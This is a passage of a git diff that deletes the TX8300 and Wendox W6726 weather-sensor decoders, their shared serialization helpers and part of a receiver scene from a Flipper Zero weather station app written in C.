instance->decoder.decode_data; - instance->decoder.decode_data = 0; - } - - } else { - instance->decoder.parser_step = TX_8300DecoderStepReset; - } - break; - } -} - -uint8_t ws_protocol_decoder_tx_8300_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderTX_8300* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_tx_8300_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderTX_8300* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_tx_8300_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderTX_8300* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, flipper_format, ws_protocol_tx_8300_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_tx_8300_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderTX_8300* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/tx_8300.h b/applications/external/weather_station/protocols/tx_8300.h deleted file mode 100644 index 088ccd7c0..000000000 --- a/applications/external/weather_station/protocols/tx_8300.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_TX_8300_NAME "TX8300" - -typedef struct WSProtocolDecoderTX_8300 WSProtocolDecoderTX_8300; -typedef struct WSProtocolEncoderTX_8300 WSProtocolEncoderTX_8300; - -extern const SubGhzProtocolDecoder ws_protocol_tx_8300_decoder; -extern const SubGhzProtocolEncoder ws_protocol_tx_8300_encoder; -extern const SubGhzProtocol ws_protocol_tx_8300; - -/** - * Allocate WSProtocolDecoderTX_8300. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderTX_8300* pointer to a WSProtocolDecoderTX_8300 instance - */ -void* ws_protocol_decoder_tx_8300_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderTX_8300. - * @param context Pointer to a WSProtocolDecoderTX_8300 instance - */ -void ws_protocol_decoder_tx_8300_free(void* context); - -/** - * Reset decoder WSProtocolDecoderTX_8300. - * @param context Pointer to a WSProtocolDecoderTX_8300 instance - */ -void ws_protocol_decoder_tx_8300_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderTX_8300 instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_tx_8300_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderTX_8300 instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_tx_8300_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderTX_8300. - * @param context Pointer to a WSProtocolDecoderTX_8300 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_tx_8300_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderTX_8300. - * @param context Pointer to a WSProtocolDecoderTX_8300 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_tx_8300_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderTX_8300 instance - * @param output Resulting text - */ -void ws_protocol_decoder_tx_8300_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/wendox_w6726.c b/applications/external/weather_station/protocols/wendox_w6726.c deleted file mode 100644 index 2fbe961f7..000000000 --- a/applications/external/weather_station/protocols/wendox_w6726.c +++ /dev/null @@ -1,299 +0,0 @@ -#include "wendox_w6726.h" - -#define TAG "WSProtocolWendoxW6726" - -/* - * Wendox W6726 - * - * Temperature -50C to +70C - * _ _ _ __ _ - * _| |___| |___| |___ ... | |_| |__...._______________ - * preamble data guard time - * - * 3 reps every 3 minutes - * in the first message 11 bytes of the preamble in the rest by 7 - * - * bit 0: 1955-hi, 5865-lo - * bit 1: 5865-hi, 1955-lo - * guard time: 12*1955+(lo last bit) - * data: 29 bit - * - * IIIII | ZTTTTTTTTT | uuuuuuuBuu | CCCC - * - * I: identification; - * Z: temperature sign; - * T: temperature sign dependent +12C; - * B: battery low; flag to indicate low battery voltage; - * C: CRC4 (polynomial = 0x9, start_data = 0xD); - * u: unknown; - */ - -static const SubGhzBlockConst ws_protocol_wendox_w6726_const = { - .te_short = 1955, - .te_long = 5865, - .te_delta = 300, - .min_count_bit_for_found = 29, -}; - -struct WSProtocolDecoderWendoxW6726 { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; - - uint16_t header_count; -}; - -struct WSProtocolEncoderWendoxW6726 { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - WendoxW6726DecoderStepReset = 0, - WendoxW6726DecoderStepCheckPreambule, - WendoxW6726DecoderStepSaveDuration, - WendoxW6726DecoderStepCheckDuration, -} WendoxW6726DecoderStep; - -const SubGhzProtocolDecoder ws_protocol_wendox_w6726_decoder = { - .alloc = ws_protocol_decoder_wendox_w6726_alloc, - .free = ws_protocol_decoder_wendox_w6726_free, - - .feed = ws_protocol_decoder_wendox_w6726_feed, - .reset = ws_protocol_decoder_wendox_w6726_reset, - - .get_hash_data = ws_protocol_decoder_wendox_w6726_get_hash_data, - .serialize = ws_protocol_decoder_wendox_w6726_serialize, - .deserialize = ws_protocol_decoder_wendox_w6726_deserialize, - .get_string = ws_protocol_decoder_wendox_w6726_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_wendox_w6726_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_wendox_w6726 = { - .name = WS_PROTOCOL_WENDOX_W6726_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_wendox_w6726_decoder, - .encoder = &ws_protocol_wendox_w6726_encoder, -}; - -void* ws_protocol_decoder_wendox_w6726_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderWendoxW6726* instance = malloc(sizeof(WSProtocolDecoderWendoxW6726)); - instance->base.protocol = &ws_protocol_wendox_w6726; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_wendox_w6726_free(void* context) { - furi_assert(context); - WSProtocolDecoderWendoxW6726* instance = context; - free(instance); -} - -void ws_protocol_decoder_wendox_w6726_reset(void* context) { - furi_assert(context); - WSProtocolDecoderWendoxW6726* instance = context; - instance->decoder.parser_step = WendoxW6726DecoderStepReset; -} - -static bool ws_protocol_wendox_w6726_check(WSProtocolDecoderWendoxW6726* instance) { - if(!instance->decoder.decode_data) return false; - uint8_t msg[] = { - instance->decoder.decode_data >> 28, - instance->decoder.decode_data >> 20, - instance->decoder.decode_data >> 12, - instance->decoder.decode_data >> 4}; - - uint8_t crc = subghz_protocol_blocks_crc4(msg, 4, 0x9, 0xD); - return (crc == (instance->decoder.decode_data & 0x0F)); -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_wendox_w6726_remote_controller(WSBlockGeneric* instance) { - instance->id = (instance->data >> 24) & 0xFF; - instance->battery_low = (instance->data >> 6) & 1; - instance->channel = WS_NO_CHANNEL; - - if(((instance->data >> 23) & 1)) { - instance->temp = (float)(((instance->data >> 14) & 0x1FF) + 12) / 10.0f; - } else { - instance->temp = (float)((~(instance->data >> 14) & 0x1FF) + 1 - 12) / -10.0f; - } - - if(instance->temp < -50.0f) { - instance->temp = -50.0f; - } else if(instance->temp > 70.0f) { - instance->temp = 70.0f; - } - - instance->btn = WS_NO_BTN; - instance->humidity = WS_NO_HUMIDITY; -} - -void ws_protocol_decoder_wendox_w6726_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderWendoxW6726* instance = context; - - switch(instance->decoder.parser_step) { - case WendoxW6726DecoderStepReset: - if((level) && (DURATION_DIFF(duration, ws_protocol_wendox_w6726_const.te_short) < - ws_protocol_wendox_w6726_const.te_delta)) { - instance->decoder.parser_step = WendoxW6726DecoderStepCheckPreambule; - instance->decoder.te_last = duration; - instance->header_count = 0; - } - break; - - case WendoxW6726DecoderStepCheckPreambule: - if(level) { - instance->decoder.te_last = duration; - } else { - if((DURATION_DIFF(instance->decoder.te_last, ws_protocol_wendox_w6726_const.te_short) < - ws_protocol_wendox_w6726_const.te_delta * 1) && - (DURATION_DIFF(duration, ws_protocol_wendox_w6726_const.te_long) < - ws_protocol_wendox_w6726_const.te_delta * 2)) { - instance->header_count++; - } else if((instance->header_count > 4) && (instance->header_count < 12)) { - if((DURATION_DIFF( - instance->decoder.te_last, ws_protocol_wendox_w6726_const.te_long) < - ws_protocol_wendox_w6726_const.te_delta * 2) && - (DURATION_DIFF(duration, ws_protocol_wendox_w6726_const.te_short) < - ws_protocol_wendox_w6726_const.te_delta)) { - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = WendoxW6726DecoderStepSaveDuration; - } else { - instance->decoder.parser_step = WendoxW6726DecoderStepReset; - } - - } else { - instance->decoder.parser_step = WendoxW6726DecoderStepReset; - } - } - break; - - case WendoxW6726DecoderStepSaveDuration: - if(level) { - instance->decoder.te_last = duration; - instance->decoder.parser_step = WendoxW6726DecoderStepCheckDuration; - } else { - instance->decoder.parser_step = WendoxW6726DecoderStepReset; - } - break; - - case WendoxW6726DecoderStepCheckDuration: - if(!level) { - if(duration > - ws_protocol_wendox_w6726_const.te_short + ws_protocol_wendox_w6726_const.te_long) { - if(DURATION_DIFF( - instance->decoder.te_last, ws_protocol_wendox_w6726_const.te_short) < - ws_protocol_wendox_w6726_const.te_delta) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = WendoxW6726DecoderStepSaveDuration; - } else if( - DURATION_DIFF( - instance->decoder.te_last, ws_protocol_wendox_w6726_const.te_long) < - ws_protocol_wendox_w6726_const.te_delta * 2) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = WendoxW6726DecoderStepSaveDuration; - } else { - instance->decoder.parser_step = WendoxW6726DecoderStepReset; - } - if((instance->decoder.decode_count_bit == - ws_protocol_wendox_w6726_const.min_count_bit_for_found) && - ws_protocol_wendox_w6726_check(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - ws_protocol_wendox_w6726_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } - - instance->decoder.parser_step = WendoxW6726DecoderStepReset; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_wendox_w6726_const.te_short) < - ws_protocol_wendox_w6726_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_wendox_w6726_const.te_long) < - ws_protocol_wendox_w6726_const.te_delta * 3)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = WendoxW6726DecoderStepSaveDuration; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_wendox_w6726_const.te_long) < - ws_protocol_wendox_w6726_const.te_delta * 2) && - (DURATION_DIFF(duration, ws_protocol_wendox_w6726_const.te_short) < - ws_protocol_wendox_w6726_const.te_delta)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = WendoxW6726DecoderStepSaveDuration; - } else { - instance->decoder.parser_step = WendoxW6726DecoderStepReset; - } - } else { - instance->decoder.parser_step = WendoxW6726DecoderStepReset; - } - break; - } -} - -uint8_t ws_protocol_decoder_wendox_w6726_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderWendoxW6726* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_wendox_w6726_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderWendoxW6726* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_wendox_w6726_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderWendoxW6726* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, - flipper_format, - ws_protocol_wendox_w6726_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_wendox_w6726_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderWendoxW6726* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/wendox_w6726.h b/applications/external/weather_station/protocols/wendox_w6726.h deleted file mode 100644 index 236777a1c..000000000 --- a/applications/external/weather_station/protocols/wendox_w6726.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_WENDOX_W6726_NAME "Wendox W6726" - -typedef struct WSProtocolDecoderWendoxW6726 WSProtocolDecoderWendoxW6726; -typedef struct WSProtocolEncoderWendoxW6726 WSProtocolEncoderWendoxW6726; - -extern const SubGhzProtocolDecoder ws_protocol_wendox_w6726_decoder; -extern const SubGhzProtocolEncoder ws_protocol_wendox_w6726_encoder; -extern const SubGhzProtocol ws_protocol_wendox_w6726; - -/** - * Allocate WSProtocolDecoderWendoxW6726. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderWendoxW6726* pointer to a WSProtocolDecoderWendoxW6726 instance - */ -void* ws_protocol_decoder_wendox_w6726_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderWendoxW6726. - * @param context Pointer to a WSProtocolDecoderWendoxW6726 instance - */ -void ws_protocol_decoder_wendox_w6726_free(void* context); - -/** - * Reset decoder WSProtocolDecoderWendoxW6726. - * @param context Pointer to a WSProtocolDecoderWendoxW6726 instance - */ -void ws_protocol_decoder_wendox_w6726_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderWendoxW6726 instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_wendox_w6726_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderWendoxW6726 instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_wendox_w6726_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderWendoxW6726. - * @param context Pointer to a WSProtocolDecoderWendoxW6726 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_wendox_w6726_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderWendoxW6726. - * @param context Pointer to a WSProtocolDecoderWendoxW6726 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_wendox_w6726_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderWendoxW6726 instance - * @param output Resulting text - */ -void ws_protocol_decoder_wendox_w6726_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/ws_generic.c b/applications/external/weather_station/protocols/ws_generic.c deleted file mode 100644 index 026856a9e..000000000 --- a/applications/external/weather_station/protocols/ws_generic.c +++ /dev/null @@ -1,256 +0,0 @@ -#include "ws_generic.h" -#include -#include -#include "../helpers/weather_station_types.h" - -#define TAG "WSBlockGeneric" - -void ws_block_generic_get_preset_name(const char* preset_name, FuriString* preset_str) { - const char* preset_name_temp; - if(!strcmp(preset_name, "AM270")) { - preset_name_temp = "FuriHalSubGhzPresetOok270Async"; - } else if(!strcmp(preset_name, "AM650")) { - preset_name_temp = "FuriHalSubGhzPresetOok650Async"; - } else if(!strcmp(preset_name, "FM238")) { - preset_name_temp = "FuriHalSubGhzPreset2FSKDev238Async"; - } else if(!strcmp(preset_name, "FM476")) { - preset_name_temp = "FuriHalSubGhzPreset2FSKDev476Async"; - } else { - preset_name_temp = "FuriHalSubGhzPresetCustom"; - } - furi_string_set(preset_str, preset_name_temp); -} - -SubGhzProtocolStatus ws_block_generic_serialize( - WSBlockGeneric* instance, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(instance); - SubGhzProtocolStatus res = SubGhzProtocolStatusError; - FuriString* temp_str; - temp_str = furi_string_alloc(); - do { - stream_clean(flipper_format_get_raw_stream(flipper_format)); - if(!flipper_format_write_header_cstr( - flipper_format, WS_KEY_FILE_TYPE, WS_KEY_FILE_VERSION)) { - FURI_LOG_E(TAG, "Unable to add header"); - res = SubGhzProtocolStatusErrorParserHeader; - break; - } - - if(!flipper_format_write_uint32(flipper_format, "Frequency", &preset->frequency, 1)) { - FURI_LOG_E(TAG, "Unable to add Frequency"); - res = SubGhzProtocolStatusErrorParserFrequency; - break; - } - - ws_block_generic_get_preset_name(furi_string_get_cstr(preset->name), temp_str); - if(!flipper_format_write_string_cstr( - flipper_format, "Preset", furi_string_get_cstr(temp_str))) { - FURI_LOG_E(TAG, "Unable to add Preset"); - res = SubGhzProtocolStatusErrorParserPreset; - break; - } - if(!strcmp(furi_string_get_cstr(temp_str), "FuriHalSubGhzPresetCustom")) { - if(!flipper_format_write_string_cstr( - flipper_format, "Custom_preset_module", "CC1101")) { - FURI_LOG_E(TAG, "Unable to add Custom_preset_module"); - res = SubGhzProtocolStatusErrorParserCustomPreset; - break; - } - if(!flipper_format_write_hex( - flipper_format, "Custom_preset_data", preset->data, preset->data_size)) { - FURI_LOG_E(TAG, "Unable to add Custom_preset_data"); - res = SubGhzProtocolStatusErrorParserCustomPreset; - break; - } - } - if(!flipper_format_write_string_cstr(flipper_format, "Protocol", instance->protocol_name)) { - FURI_LOG_E(TAG, "Unable to add Protocol"); - res = SubGhzProtocolStatusErrorParserProtocolName; - break; - } - - uint32_t temp_data = instance->id; - if(!flipper_format_write_uint32(flipper_format, "Id", &temp_data, 1)) { - FURI_LOG_E(TAG, "Unable to add Id"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - - temp_data = instance->data_count_bit; - if(!flipper_format_write_uint32(flipper_format, "Bit", &temp_data, 1)) { - FURI_LOG_E(TAG, "Unable to add Bit"); - res = SubGhzProtocolStatusErrorParserBitCount; - break; - } - - uint8_t key_data[sizeof(uint64_t)] = {0}; - for(size_t i = 0; i < sizeof(uint64_t); i++) { - key_data[sizeof(uint64_t) - i - 1] = (instance->data >> (i * 8)) & 0xFF; - } - - if(!flipper_format_write_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) { - FURI_LOG_E(TAG, "Unable to add Data"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - - temp_data = instance->battery_low; - if(!flipper_format_write_uint32(flipper_format, "Batt", &temp_data, 1)) { - FURI_LOG_E(TAG, "Unable to add Battery_low"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - - temp_data = instance->humidity; - if(!flipper_format_write_uint32(flipper_format, "Hum", &temp_data, 1)) { - FURI_LOG_E(TAG, "Unable to add Humidity"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - - //DATE AGE set - FuriHalRtcDateTime curr_dt; - furi_hal_rtc_get_datetime(&curr_dt); - uint32_t curr_ts = furi_hal_rtc_datetime_to_timestamp(&curr_dt); - - temp_data = curr_ts; - if(!flipper_format_write_uint32(flipper_format, "Ts", &temp_data, 1)) { - FURI_LOG_E(TAG, "Unable to add timestamp"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - - temp_data = instance->channel; - if(!flipper_format_write_uint32(flipper_format, "Ch", &temp_data, 1)) { - FURI_LOG_E(TAG, "Unable to add Channel"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - - temp_data = instance->btn; - if(!flipper_format_write_uint32(flipper_format, "Btn", &temp_data, 1)) { - FURI_LOG_E(TAG, "Unable to add Btn"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - - float temp = instance->temp; - if(!flipper_format_write_float(flipper_format, "Temp", &temp, 1)) { - FURI_LOG_E(TAG, "Unable to add Temperature"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - - res = SubGhzProtocolStatusOk; - } while(false); - furi_string_free(temp_str); - return res; -} - -SubGhzProtocolStatus - ws_block_generic_deserialize(WSBlockGeneric* instance, FlipperFormat* flipper_format) { - furi_assert(instance); - SubGhzProtocolStatus res = SubGhzProtocolStatusError; - uint32_t temp_data = 0; - - do { - if(!flipper_format_rewind(flipper_format)) { - FURI_LOG_E(TAG, "Rewind error"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - - if(!flipper_format_read_uint32(flipper_format, "Id", (uint32_t*)&temp_data, 1)) { - FURI_LOG_E(TAG, "Missing Id"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - instance->id = (uint32_t)temp_data; - - if(!flipper_format_read_uint32(flipper_format, "Bit", (uint32_t*)&temp_data, 1)) { - FURI_LOG_E(TAG, "Missing Bit"); - res = SubGhzProtocolStatusErrorParserBitCount; - break; - } - instance->data_count_bit = (uint8_t)temp_data; - - uint8_t key_data[sizeof(uint64_t)] = {0}; - if(!flipper_format_read_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) { - FURI_LOG_E(TAG, "Missing Data"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - - for(uint8_t i = 0; i < sizeof(uint64_t); i++) { - instance->data = instance->data << 8 | key_data[i]; - } - - if(!flipper_format_read_uint32(flipper_format, "Batt", (uint32_t*)&temp_data, 1)) { - FURI_LOG_E(TAG, "Missing Battery_low"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - instance->battery_low = (uint8_t)temp_data; - - if(!flipper_format_read_uint32(flipper_format, "Hum", (uint32_t*)&temp_data, 1)) { - FURI_LOG_E(TAG, "Missing Humidity"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - instance->humidity = (uint8_t)temp_data; - - if(!flipper_format_read_uint32(flipper_format, "Ts", (uint32_t*)&temp_data, 1)) { - FURI_LOG_E(TAG, "Missing timestamp"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - instance->timestamp = (uint32_t)temp_data; - - if(!flipper_format_read_uint32(flipper_format, "Ch", (uint32_t*)&temp_data, 1)) { - FURI_LOG_E(TAG, "Missing Channel"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - instance->channel = (uint8_t)temp_data; - - if(!flipper_format_read_uint32(flipper_format, "Btn", (uint32_t*)&temp_data, 1)) { - FURI_LOG_E(TAG, "Missing Btn"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - instance->btn = (uint8_t)temp_data; - - float temp; - if(!flipper_format_read_float(flipper_format, "Temp", (float*)&temp, 1)) { - FURI_LOG_E(TAG, "Missing Temperature"); - res = SubGhzProtocolStatusErrorParserOthers; - break; - } - instance->temp = temp; - - res = SubGhzProtocolStatusOk; - } while(0); - - return res; -} - -SubGhzProtocolStatus ws_block_generic_deserialize_check_count_bit( - WSBlockGeneric* instance, - FlipperFormat* flipper_format, - uint16_t count_bit) { - SubGhzProtocolStatus ret = SubGhzProtocolStatusError; - do { - ret = ws_block_generic_deserialize(instance, flipper_format); - if(ret != SubGhzProtocolStatusOk) { - break; - } - if(instance->data_count_bit != count_bit) { - FURI_LOG_E(TAG, "Wrong number of bits in key"); - ret = SubGhzProtocolStatusErrorValueBitCount; - break; - } - } while(false); - return ret; -} \ No newline at end of file diff --git a/applications/external/weather_station/protocols/ws_generic.h b/applications/external/weather_station/protocols/ws_generic.h deleted file mode 100644 index ff047fae6..000000000 --- a/applications/external/weather_station/protocols/ws_generic.h +++ /dev/null @@ -1,81 +0,0 @@ -#pragma once - -#include -#include -#include - -#include -#include "furi.h" -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -#define WS_NO_ID 0xFFFFFFFF -#define WS_NO_BATT 0xFF -#define WS_NO_HUMIDITY 0xFF -#define WS_NO_CHANNEL 0xFF -#define WS_NO_BTN 0xFF -#define WS_NO_TEMPERATURE -273.0f - -typedef struct WSBlockGeneric WSBlockGeneric; - -struct WSBlockGeneric { - const char* protocol_name; - uint64_t data; - uint32_t id; - uint8_t data_count_bit; - uint8_t battery_low; - uint8_t humidity; - uint32_t timestamp; - uint8_t channel; - uint8_t btn; - float temp; -}; - -/** - * Get name preset. - * @param preset_name name preset - * @param preset_str Output name preset - */ -void ws_block_generic_get_preset_name(const char* preset_name, FuriString* preset_str); - -/** - * Serialize data WSBlockGeneric. - * @param instance Pointer to a WSBlockGeneric instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_block_generic_serialize( - WSBlockGeneric* instance, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSBlockGeneric. - * @param instance Pointer to a WSBlockGeneric instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_block_generic_deserialize(WSBlockGeneric* instance, FlipperFormat* flipper_format); - -/** - * Deserialize data WSBlockGeneric. - * @param instance Pointer to a WSBlockGeneric instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param count_bit Count bit protocol - * @return status - */ -SubGhzProtocolStatus ws_block_generic_deserialize_check_count_bit( - WSBlockGeneric* instance, - FlipperFormat* flipper_format, - uint16_t count_bit); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/weather_station/scenes/weather_station_receiver.c b/applications/external/weather_station/scenes/weather_station_receiver.c deleted file mode 100644 index 76d808e7e..000000000 --- a/applications/external/weather_station/scenes/weather_station_receiver.c +++ /dev/null @@ -1,216 +0,0 @@ -#include "../weather_station_app_i.h" -#include "../views/weather_station_receiver.h" - -static const NotificationSequence subghs_sequence_rx = { - &message_green_255, - - &message_vibro_on, - &message_note_c6, - &message_delay_50, - &message_sound_off, - &message_vibro_off, - - &message_delay_50, - NULL, -}; - -static const NotificationSequence subghs_sequence_rx_locked = { - &message_green_255, - - &message_display_backlight_on, - - &message_vibro_on, - &message_note_c6, - &message_delay_50, - &message_sound_off, - &message_vibro_off, - - &message_delay_500, - - &message_display_backlight_off, - NULL, -}; - -static void weather_station_scene_receiver_update_statusbar(void* context) { - WeatherStationApp* app = context; - FuriString* history_stat_str; - history_stat_str = furi_string_alloc(); - if(!ws_history_get_text_space_left(app->txrx->history, history_stat_str)) { - FuriString* frequency_str; - FuriString* modulation_str; - - frequency_str = furi_string_alloc(); - modulation_str = furi_string_alloc(); - - ws_get_frequency_modulation(app, frequency_str, modulation_str); - - ws_view_receiver_add_data_statusbar( - app->ws_receiver, - furi_string_get_cstr(frequency_str), - furi_string_get_cstr(modulation_str), - furi_string_get_cstr(history_stat_str), - radio_device_loader_is_external(app->txrx->radio_device)); - - furi_string_free(frequency_str); - furi_string_free(modulation_str); - } else { - ws_view_receiver_add_data_statusbar( - app->ws_receiver, - furi_string_get_cstr(history_stat_str), - "", - "", - radio_device_loader_is_external(app->txrx->radio_device)); - } - furi_string_free(history_stat_str); -} - -void weather_station_scene_receiver_callback(WSCustomEvent event, void* context) { - furi_assert(context); - WeatherStationApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -static void weather_station_scene_receiver_add_to_history_callback( - SubGhzReceiver* receiver, - SubGhzProtocolDecoderBase* decoder_base, - void* context) { - furi_assert(context); - WeatherStationApp* app = context; - FuriString* str_buff; - str_buff = furi_string_alloc(); - - if(ws_history_add_to_history(app->txrx->history, decoder_base, app->txrx->preset) == - WSHistoryStateAddKeyNewDada) { - furi_string_reset(str_buff); - - ws_history_get_text_item_menu( - app->txrx->history, str_buff, ws_history_get_item(app->txrx->history) - 1); - ws_view_receiver_add_item_to_menu( - app->ws_receiver, - furi_string_get_cstr(str_buff), - ws_history_get_type_protocol( - app->txrx->history, ws_history_get_item(app->txrx->history) - 1)); - - weather_station_scene_receiver_update_statusbar(app); - notification_message(app->notifications, &sequence_blink_green_10); - if(app->lock != WSLockOn) { - notification_message(app->notifications, &subghs_sequence_rx); - } else { - 